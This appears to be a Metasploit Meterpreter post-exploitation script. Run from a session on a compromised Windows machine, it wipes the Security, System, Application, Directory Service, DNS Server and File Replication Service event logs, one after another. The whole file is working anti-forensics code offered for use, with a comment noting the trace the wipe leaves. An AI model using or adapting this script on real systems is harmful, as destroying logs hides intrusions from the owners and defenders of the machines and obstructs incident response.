# clears ALL the event logs - chris [] learnsecurityonline [] com # # Event 517 is logged whenever the Security log is cleared, REGARDLESS of # the status of the Audit System Events audit policy. print_line("Clearing the Security Event Log, it will leave a 517 event\n") log = client.sys.eventlog.open('security') log.clear print_line("Clearing the System Event Log\n") log = client.sys.eventlog.open('system') log.clear print_line("Clearing the Application Event Log\n") log = client.sys.eventlog.open('application') log.clear print_line("Clearing the Directory Service Event Log (If It Exists)\n") log = client.sys.eventlog.open('directory service') log.clear print_line("Clearing the DNS Server Event Log (If It Exists)\n") log = client.sys.eventlog.open('dns server') log.clear print_line("Clearing the File Replication Service Event Log (If It Exists)\n") log = client.sys.eventlog.open('file replication service') log.clear print_line("Done... Have a lovely day :-)")